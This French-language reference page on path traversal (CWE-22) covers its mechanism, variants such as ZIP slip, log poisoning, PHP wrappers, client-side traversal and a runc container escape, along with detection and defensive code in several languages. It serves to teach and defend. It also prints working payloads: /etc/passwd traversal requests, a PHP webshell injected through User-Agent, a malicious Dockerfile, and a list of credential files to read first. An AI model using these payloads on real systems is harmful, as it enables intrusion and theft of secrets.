Path Traversal

Qu'est-ce que le Path Traversal#

Le path traversal — aussi appelé traversée de répertoires ou attaque dot-dot-slash — est une vulnérabilité qui permet à un attaquant de lire, et parfois d'écrire, des fichiers en dehors du répertoire qu'une application avait prévu d'exposer. Classifié CWE-22 sous OWASP A01:2021 (Broken Access Control), l'attaque exploite une validation insuffisante des composants de chemin fournis par l'utilisateur : un attaquant insère des séquences ../ qui naviguent vers le haut dans l'arborescence de répertoires au-delà de la racine autorisée.

La vulnérabilité apparaît partout où une application construit un chemin de fichier à partir d'une entrée utilisateur sans résoudre et valider le résultat contre une base connue comme sûre : endpoints de téléchargement de fichiers (?file=report.pdf), chargeurs de templates (?page=welcome), serveurs d'images, visualiseurs de logs, installateurs de plugins et extracteurs d'archives. Dans les projets fermés, la recherche Aikido a suivi une augmentation de 85 % de la prévalence du path traversal entre 2023 et 2024 (de 1,9 % à 3,5 % de tous les findings). CVE-2024-23897 (Jenkins, CVSS 9.8) a été exploité dans les jours suivant la divulgation ; CVE-2024-4577 (PHP-CGI) dans les 48 heures — les deux ajoutés au catalogue CISA KEV.

Path traversal vs vulnérabilités connexes :

• LFI (Local File Inclusion, CWE-98) : variante propre à PHP où l'entrée utilisateur atteint include() ou require() — permet à la fois la lecture de fichiers et l'exécution de code via les wrappers PHP. Toute LFI est un path traversal ; tout path traversal n'est pas une LFI.
• RFI (Remote File Inclusion) : l'entrée utilisateur atteint include() avec allow_url_include=On et pointe vers une URL distante — essentiellement du SSRF au niveau PHP.
• SSRF : la pile réseau propre du serveur est instrumentalisée pour effectuer des requêtes sortantes vers l'infrastructure interne — aucune traversée du système de fichiers impliquée.

Mécanisme#

L'attaque exploite la façon dont les serveurs construisent des chemins de fichiers en concaténant un répertoire de base avec une entrée fournie par l'utilisateur. Sans canonicalisation, les séquences ../ traversent vers le haut dans l'arborescence de répertoires avant que le système de fichiers résolve le chemin final.

Quatre conditions qui permettent l'attaque :

1. L'application accepte un nom de fichier ou un composant de chemin depuis l'entrée utilisateur.
2. L'entrée est concaténée avec un répertoire de base sans canonicalisation.
3. Aucune vérification par liste blanche ne vérifie que le chemin résolu reste à l'intérieur du répertoire de base.
4. Le processus du serveur web a un accès en lecture (ou en écriture) au fichier cible.

Exemple HTTP concret — lecture de fichier non authentifiée :

GET /api/reports/download?file=../../../../etc/passwd HTTP/1.1
Host: target.example.com

Corps de la réponse :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

L'application a construit /var/www/app/reports/../../../../etc/passwd, que l'OS a résolu en /etc/passwd. Quatre sauts ../ : reports/ → app/ → www/ → var/ → racine du système de fichiers.

Variantes d'attaque#

Surface d'attaque moderne 2024-2026#

ZIP Slip / Tar Slip#

Le ZIP slip est une variante du path traversal déclenchée lors de l'extraction d'archives. Une archive malveillante contient des entrées avec des séquences de traversée dans leurs noms de fichier :

Contenu de l'archive :
  ../../var/www/html/webshell.php
  ../../etc/cron.d/backdoor

Lorsque l'application extrait l'archive sans valider le chemin résolu de chaque entrée, les fichiers atterrissent dans des emplacements contrôlés par l'attaquant en dehors du répertoire d'extraction prévu. La primitive atteint une écriture de fichier arbitraire — fréquemment chaînée vers du RCE en écrasant un fichier PHP, ASPX ou JSP accessible depuis le web.

Extraction sécurisée (Python) :

import zipfile, os
 
def safe_extract(zip_path: str, dest_dir: str) -> None:
    dest_dir = os.path.realpath(dest_dir)
    with zipfile.ZipFile(zip_path) as zf:
        for member in zf.namelist():
            target = os.path.realpath(os.path.join(dest_dir, member))
            if not target.startswith(dest_dir + os.sep):
                raise ValueError(f"ZIP Slip détecté : {member}")
            zf.extract(member, dest_dir)

CVE-2024-1708 (ConnectWise ScreenConnect) a réalisé du RCE non authentifié via ZIP slip chaîné avec un contournement d'authentification — exploité par plusieurs groupes d'acteurs de menace dans les 24 heures suivant la divulgation.

LFI vers RCE via empoisonnement de logs#

L'empoisonnement de logs fait passer un path traversal en lecture seule à une exécution de code complète en deux étapes :

Étape 1 — Empoisonner le log d'accès Apache :

GET / HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['cmd']); ?>

Apache écrit la valeur de User-Agent verbatim dans /var/log/apache2/access.log. Le code PHP est maintenant stocké sur le disque.

Étape 2 — Inclure le log via la LFI :

GET /view?page=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
Host: target.com

PHP interprète le code stocké et retourne uid=33(www-data). D'autres fichiers de logs empoisonnables incluent /var/log/nginx/access.log, /var/log/auth.log (via une connexion SSH avec un nom d'utilisateur malveillant), et /proc/self/fd/2 (stderr du processus, contourne les restrictions de permissions).

Wrappers PHP (php://filter, phar://)#

Les wrappers de flux PHP transforment les chemins de fichiers en primitives exécutables :

# Divulgation du code source — encode en base64 n'importe quel fichier PHP sans l'exécuter
php://filter/convert.base64-encode/resource=index.php
 
# Chaîne de filtres RCE (Synacktiv 2022+) — génère du PHP arbitraire sans upload de fichier
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...(chaîne)
 
# Désérialisation PHAR — toute opération sur phar:// déclenche une chaîne de gadgets
phar:///tmp/upload.jpg  (le fichier contient des métadonnées PHAR valides avec gadget RCE)

realpath() retourne false pour les URIs wrappers (ils ne sont pas de véritables chemins du système de fichiers), donc une vérification correcte du chemin canonique bloque automatiquement toute exploitation des wrappers PHP.

Client-Side Path Traversal (CSPT)#

Le CSPT est une variante côté navigateur dans laquelle une Single Page Application construit des URLs d'endpoints d'API à partir de segments de chemin contrôlés par l'utilisateur. Contrairement au path traversal côté serveur, aucun système de fichiers n'est impliqué — la traversée redirige l'appel API vers un endpoint interne non prévu.

Schéma d'attaque :

URL SPA normale :  /app/projects/123/settings
URL injectée :     /app/projects/123%2F..%2F..%2Fadmin/settings
La SPA construit : GET /api/projects/123/../../../admin/settings
                   → résolution en GET /api/admin/settings (contourne le contrôle d'accès)

La prime de bug bounty Meta 2025 a payé 111 750 $ pour une chaîne de path traversal menant au RCE. CVE-2025-6023 (Grafana) démontre un CSPT chaîné avec une redirection ouverte et du XSS pour réaliser une prise de contrôle de compte. Défense : assainir tous les segments de chemin URL avant de les utiliser dans les appels API côté client ; ne jamais passer des composants bruts de window.location.pathname dans des URLs fetch.

Évasion de conteneur via path traversal (CVE-2024-21626)#

La vulnérabilité runc "Leaky Vessels" (CVSS 8.6) démontre que le path traversal peut échapper complètement à l'isolation des conteneurs. runc laisse fuiter un descripteur de fichier ouvert référençant le répertoire de travail de l'hôte avant que pivot_root soit appelé. Définir process.cwd à /proc/self/fd/7 dans la configuration d'un conteneur résout le répertoire de travail du conteneur contre le système de fichiers hôte :

# Dockerfile malveillant — déclenche CVE-2024-21626
FROM ubuntu
WORKDIR /proc/self/fd/7

Exécuter des processus avec des chemins relatifs à ce CWD fuyant accède directement aux fichiers hôtes. Impact : évasion complète du conteneur — lecture/écriture du système de fichiers hôte, vol de tokens de comptes de service Kubernetes, compromission complète de l'environnement cloud. Corrigé dans runc 1.1.12, Docker 25.0.2, containerd 1.7.13.

Confusion Apache mod_rewrite (Orange Tsai, DEF CON 32)#

La recherche d'Orange Tsai en 2024 a documenté 9 CVE et 20 techniques d'exploitation dans la gestion des chemins d'Apache HTTP Server. CVE-2024-38474 (CVSS 9.1) : les points d'interrogation encodés (%3F) dans les rétroréférences mod_rewrite provoquent une troncature de chemin, permettant l'évasion du document root et potentiellement du RCE via l'exécution de script. CVE-2024-38472 : la coercition de chemin UNC sur Windows via %5C%5Cattacker-server/path déclenche du SSRF via apr_filepath_merge(). Corrigé dans Apache 2.4.60 (juillet 2024).

CVE réels#

Contournements par encodage#

Les filtres de validation d'entrée opérant sur la chaîne brute avant la résolution du système de fichiers sont contournés par tout encodage qui produit la même séquence d'octets après la normalisation propre au système de fichiers :

Détection#

Tests manuels#

1. Identifier les paramètres servant des fichiers : file=, path=, page=, template=, include=, doc=, resource=, lang=, theme=, layout=, attachment=, export=.
2. Soumettre une traversée de base : ../../../../etc/passwd (Linux) ou ..\..\..\windows\win.ini (Windows). Confirmer avec des marqueurs spécifiques aux fichiers.
3. Essayer les variantes d'encodage si filtré : %2e%2e%2f, ..%2f, %252e%252e%252f, ....//, ..%c0%af.
4. Tester l'injection de chemin absolu : ?file=/etc/passwd — Python os.path.join(base, "/etc/passwd") retourne /etc/passwd ; la base est abandonnée pour les entrées absolues.
5. Tester les wrappers PHP (si PHP détecté) : php://filter/convert.base64-encode/resource=index.php — décoder la réponse en base64 pour récupérer le code source.
6. Tester l'empoisonnement de logs (si LFI confirmée) : vérifier l'accès à /var/log/apache2/access.log via la traversée, puis injecter <?php system($_GET['cmd']); ?> en User-Agent.
7. Tester les endpoints d'upload d'archives pour le ZIP slip : créer une archive malveillante avec des entrées ../../evil.txt en utilisant evilarc ou les outils zip-slip-vulnerability.

Détection automatisée#

• dotdotpwn : fuzzer dédié au path traversal avec 10 modules de traversée via HTTP, FTP, TFTP
• ffuf : fuzzer rapide couplé à la wordlist SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
• Nuclei : templates communautaires avec les tags lfi, traversal, local-file-read
• Burp Suite Pro : scanner actif + Intruder manuel avec des payloads de traversée

Détection BreachVex : analyse par templates, fuzzing de paramètres, sondage HTTP direct avec plus de 19 variantes de payload, et un LFI prover étendu couvrant les wrappers PHP. Un finding atteint le statut confirmé uniquement quand trois portes passent : HTTP 200, longueur du contenu ≥ 10 octets, et un marqueur de contenu correspondant au fichier cible (ex. root:x:[0-9]+:[0-9]+: pour /etc/passwd). Les réponses des filtres PHP sont décodées en base64 avant la correspondance des marqueurs. Les hits de fuzzing seuls sans confirmation directe sont rétrogradés en findings potentiels de faible sévérité pour supprimer les faux positifs.

Marqueurs de confirmation clés :

/etc/passwd         →  root:x:0:0:, /bin/bash, nologin
/proc/self/environ  →  PATH=, HOME=, USER=, AWS_SECRET_ACCESS_KEY=
WEB-INF/web.xml     →  <web-app
~/.aws/credentials  →  [default], aws_access_key_id=
C:\Windows\win.ini  →  [fonts], [extensions]

Prévention#

1. Validation du chemin canonique (défense primaire)#

Résoudre le chemin complet avec realpath() / getCanonicalPath() après avoir rejoint le répertoire de base, puis affirmer que le résultat commence par le répertoire de base suivi d'un séparateur de chemin. Le suffixe séparateur est critique — sans lui, /uploads_backup passe une vérification startsWith('/uploads').

Python :

import os
 
BASE_DIR = os.path.realpath("/var/www/app/uploads")
 
def safe_open(filename: str):
    # realpath résout les symlinks, normalise .., décode le percent-encoding
    requested = os.path.realpath(os.path.join(BASE_DIR, filename))
    if not requested.startswith(BASE_DIR + os.sep):
        raise ValueError("Path traversal détecté")
    return open(requested, "rb")

Node.js :

const path = require("path");
const fs = require("fs");
 
const BASE = fs.realpathSync("/var/www/app/uploads");
 
function safeRead(userInput) {
  const resolved = path.resolve(BASE, userInput);
  const real = fs.realpathSync(resolved);  // suit les symlinks
  if (!real.startsWith(BASE + path.sep)) {
    throw new Error("Path traversal bloqué");
  }
  return fs.readFileSync(real);
}

Java :

File base = new File("/var/www/app/uploads").getCanonicalFile();
File requested = new File(base, userInput).getCanonicalFile();
// getCanonicalPath résout .., les symlinks et la normalisation OS
if (!requested.toPath().startsWith(base.toPath())) {
    throw new SecurityException("Tentative de path traversal");
}

PHP :

<?php
$base = realpath('/var/www/uploads');
$requested = realpath($base . DIRECTORY_SEPARATOR . $_GET['file']);
// realpath() retourne false pour les chemins inexistants ET les wrappers php://
if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
    http_response_code(403);
    exit('Interdit');
}
echo file_get_contents($requested);

Go :

import (
    "net/http"
    "os"
    "path/filepath"
    "strings"
)
 
const BASE = "/var/www/uploads"
 
func safeDownload(w http.ResponseWriter, r *http.Request) {
    clean := filepath.Clean(r.URL.Query().Get("file"))
    full := filepath.Join(BASE, clean)
    if !strings.HasPrefix(full, BASE+string(filepath.Separator)) {
        http.Error(w, "Interdit", http.StatusForbidden)
        return
    }
    http.ServeFile(w, r, full)
}

2. Références indirectes de fichiers (éliminer les chemins contrôlés par l'utilisateur)#

Ne jamais passer directement l'entrée utilisateur aux fonctions du système de fichiers. Stocker les fichiers sous des UUIDs et résoudre le vrai chemin côté serveur :

# Sécurisé : l'utilisateur fournit un identifiant opaque, jamais un nom de fichier
record = db.query(File).filter_by(id=file_id, owner=current_user).first()
if not record:
    raise HTTPException(status_code=404)
return send_file(record.storage_path)  # chemin interne, jamais contrôlé par l'utilisateur

3. Confinement au niveau OS#

Exécuter les processus servant des fichiers dans une chroot jail ou un conteneur sans accès aux chemins système sensibles. Même une traversée réussie ne peut pas atteindre /etc/passwd si la racine du système de fichiers du processus est le répertoire de l'application. Combiner avec des politiques de contrôle d'accès mandatoire seccomp / AppArmor / SELinux.

4. Durcissement spécifique PHP#

; php.ini
allow_url_fopen  = Off   ; bloque file:// et http:// dans include()
allow_url_include = Off  ; requis pour les attaques de wrappers data:// et phar://
open_basedir     = /var/www/app  ; restreint tous les accès système de fichiers à ce préfixe

open_basedir applique une restriction de chemin au niveau du noyau qui bloque la traversée même si les vérifications au niveau applicatif sont contournées.

5. Extraction sécurisée d'archives#

Toujours valider le chemin résolu de chaque entrée d'archive avant l'extraction. Rejeter les entrées avec des chemins absolus ou des symlinks pointant en dehors du répertoire de destination. Ne jamais extraire directement dans un répertoire accessible depuis le web sans validation.

Pourquoi le filtrage par liste noire échoue#

Foire aux questions#

Qu'est-ce que le path traversal ? Le path traversal (CWE-22) est une vulnérabilité dans laquelle une validation insuffisante des composants de chemin fournis par l'utilisateur permet aux séquences ../ d'échapper au répertoire de base prévu, exposant des fichiers serveur arbitraires — /etc/passwd, clés privées SSH, secrets .env, tokens Kubernetes. Dans les applications PHP, il escalade vers du RCE via les wrappers PHP ou l'empoisonnement de logs. Classifié sous OWASP A01:2021 Broken Access Control.

Quelle est la différence entre path traversal et LFI ? Le path traversal décrit l'évasion du répertoire prévu. Le Local File Inclusion (LFI, CWE-98) est le cas propre à PHP où l'entrée utilisateur atteint include() ou require(), permettant l'exploitation des wrappers PHP et l'exécution de code. Toute LFI est un path traversal ; tout path traversal n'est pas une LFI.

Qu'est-ce que le ZIP slip ? Le ZIP slip est une variante du path traversal dans l'extraction d'archives : une archive malveillante contient des entrées avec des séquences de traversée ../../ qui causent l'atterrissage de fichiers en dehors du répertoire d'extraction prévu, permettant une écriture de fichier arbitraire et du RCE. CVE-2024-1708 (ScreenConnect, CISA KEV) a été exploité dans les 24 heures suivant la divulgation.

Qu'est-ce que le CSPT ? Le Client-Side Path Traversal (CSPT) survient quand une SPA construit des URLs d'API à partir de segments de chemin contrôlés par l'utilisateur. L'injection de ../ redirige l'appel API vers un endpoint non prévu — contournant les contrôles d'accès ou chaînant vers du XSS. La prime de bug bounty Meta 2025 a payé 111 750 $ pour une chaîne CSPT.

Pourquoi le filtrage par liste noire échoue-t-il ? L'espace d'encodage est illimité : ....//, %252e, %c0%af, %ef%bc%8f, les variantes de normalisation Unicode et les séquences imbriquées produisent toutes la même opération système de fichiers après normalisation au niveau OS. La seule défense fiable est la résolution canonique de chemin (realpath() / getCanonicalPath()) suivie d'une vérification par liste blanche.

Comment prévenir le path traversal en Python ? os.path.realpath(os.path.join(BASE_DIR, user_input)) puis affirmer que le résultat startsWith(BASE_DIR + os.sep). Ne jamais utiliser os.path.join() seul — os.path.join('/uploads/', '/etc/passwd') retourne /etc/passwd car un second argument absolu remplace la base.

Quels fichiers tester en premier ? /etc/passwd (confirmer la traversée), /proc/self/environ (contient souvent des credentials cloud), ~/.ssh/id_rsa, ~/.aws/credentials, /var/run/secrets/kubernetes.io/serviceaccount/token, WEB-INF/web.xml (Java), web.config (IIS), /.env.

Quel est le score CVSS pour le path traversal ? Traversée en lecture seule typique : CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/C:H/I:N/A:N). Variantes capables d'écriture (ZIP slip, empoisonnement de logs) : 8.4-9.8. CVE-2023-2825 (GitLab) a obtenu 10.0 Critical ; CVE-2024-23897 (Jenkins) a obtenu 9.8 Critical avec exploitation active dans le catalogue KEV.

Ressources#

• PortSwigger Web Security Academy — Path Traversal
• OWASP Path Traversal
• Orange Tsai — Apache HTTP Server Confusion Attacks (DEF CON 32)
• Snyk — ZIP Slip Vulnerability Research